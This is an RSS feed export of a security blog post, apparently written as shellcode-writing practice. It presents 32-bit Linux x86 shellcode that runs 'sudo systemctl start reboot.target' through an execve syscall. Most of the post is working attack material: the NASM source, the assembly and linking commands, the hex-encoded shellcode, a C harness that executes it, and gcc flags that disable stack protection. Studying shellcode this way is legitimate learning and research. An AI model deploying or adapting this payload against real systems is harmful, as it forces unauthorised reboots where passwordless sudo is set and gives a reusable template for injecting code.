<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>shellcode(32-bit linux) Archives -</title>
	<atom:link href="https://barriersec.com/category/shellcode32-bit-linux/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/shellcode32-bit-linux/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:17 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>shellcode(32-bit linux) Archives -</title>
	<link>https://barriersec.com/category/shellcode32-bit-linux/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>shellcode 1 : Linux/x86 &#8211; sudo systemctl start reboot.target</title>
		<link>https://barriersec.com/2018/10/shellcode-1-linux-x86-sudo-systemctl-start-reboot-target/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 27 Oct 2018 22:33:52 +0000</pubDate>
				<category><![CDATA[sudo systemctl start reboot]]></category>
		<category><![CDATA[32 bit]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[system reboot]]></category>
		<category><![CDATA[systemd]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=270</guid>

					<description><![CDATA[<p>I recently started working on writing 32 bit  shellcodes for linux  . And I will be posting sample shellcodes i&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/10/shellcode-1-linux-x86-sudo-systemctl-start-reboot-target/">shellcode 1 : Linux/x86 &#8211; sudo systemctl start reboot.target</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>I recently started working on writing 32 bit  shellcodes for linux  . And I will be posting sample shellcodes i created for practicing over here in this blog. This is one of many shellcodes that i have written. This shell code utilizes systemd init system to reboot a system . lets jump in . you need to know how syscalls are called and a basic assembly-fu to understand this piece of code. code is self explanatory with comments.</p>
<p><strong>systmctl_reboot.nasm</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>section .text<br />
_start:</p>
<p>; clear out registers before use<br />
xor eax, eax<br />
xor edx,edx</p>
<p>; PUSH /usr////bin/sudo<br />
push eax<br />
push 0x6f647573<br />
push 0x2f6e6962<br />
push 0x2f2f2f2f<br />
push 0x7273752f</p>
<p>; execve first argument<br />
mov ebx, esp</p>
<p>; PUSH /bin///systemctl<br />
push eax<br />
push 0x6c74636d<br />
push 0x65747379<br />
push 0x732f2f2f<br />
push 0x6e69622f<br />
mov ecx,esp</p>
<p>; PUSH reboot.target<br />
push eax<br />
push byte 0x74<br />
push 0x65677261<br />
push 0x742e746f<br />
push 0x6f626572<br />
mov esi,esp</p>
<p>; PUSH start<br />
push eax<br />
push byte 0x74<br />
push 0x72617473<br />
mov edi,esp</p>
<p>; execve second argument<br />
push eax<br />
push esi<br />
push edi<br />
push ecx<br />
push ebx<br />
mov ecx,esp</p>
<p>; execve third argument<br />
push eax<br />
mov edx, esp</p>
<p>; mov 11 to eax (syscall for execve)<br />
mov al, 11<br />
; Call the interupt<br />
int 0x80</p>
<hr />
<p>assembling : <strong>nasm   -f   elf32  -o</strong>  <strong>systmctl_reboot.o</strong>  <strong>systmctl_reboot.nasm</strong></p>
<p>linking : <strong>ld -z execstack -o</strong> <strong>systmctl_reboot   systmctl_reboot.o</strong></p>
<p>finally we can get the final machine code with the help of <strong>objdump,</strong></p>
<p><strong>objdump -d ./systmctl_reboot  -M intel</strong></p>
<p><strong>final shellcode :</strong></p>
<p><strong>\x31\xc0\x31\xd2\x50\x68\x73\x75\x64\x6f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x68\x6d\x63\x74\x6c\x68\x79\x73\x74\x65\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe1\x50\x6a\x74\x68\x61\x72\x67\x65\x68\x6f\x74\x2e\x74\x68\x72\x65\x62\x6f\x89\xe6\x50\x6a\x74\x68\x73\x74\x61\x72\x89\xe7\x50\x56\x57\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80</strong></p>
<p>this can be used inside our template c program to trigger this shellcode.</p>
<hr />
<p><strong>#include&lt;stdio.h&gt;</strong><br />
<strong>#include&lt;string.h&gt;</strong></p>
<p><strong>unsigned char code[] = \</strong><br />
<strong>&#8220;\x31\xc0\x31\xd2\x50\x68\x73\x75\x64\x6f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x68\x6d\x63\x74\x6c\x68\x79\x73\x74\x65\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe1\x50\x6a\x74\x68\x61\x72\x67\x65\x68\x6f\x74\x2e\x74\x68\x72\x65\x62\x6f\x89\xe6\x50\x6a\x74\x68\x73\x74\x61\x72\x89\xe7\x50\x56\x57\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80&#8221;;</strong></p>
<p><strong>main()</strong><br />
<strong>{</strong></p>
<p><strong>printf(&#8220;Shellcode Length: %d\n&#8221;, strlen(code));</strong></p>
<p><strong>int (*ret)() = (int(*)())code;</strong></p>
<p><strong>ret();</strong></p>
<p><strong>}</strong></p>
<hr />
<p>compile with no stack protection and exec stack flags.</p>
<p><strong>gcc -fno-stack-protector -z execstack -o shellcode shellcode.c</strong></p>
<p><strong>./shellcode</strong></p>
<p>This should trigger a system restart if nopasswd has been set to execute sudo commands.</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/10/shellcode-1-linux-x86-sudo-systemctl-start-reboot-target/">shellcode 1 : Linux/x86 &#8211; sudo systemctl start reboot.target</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
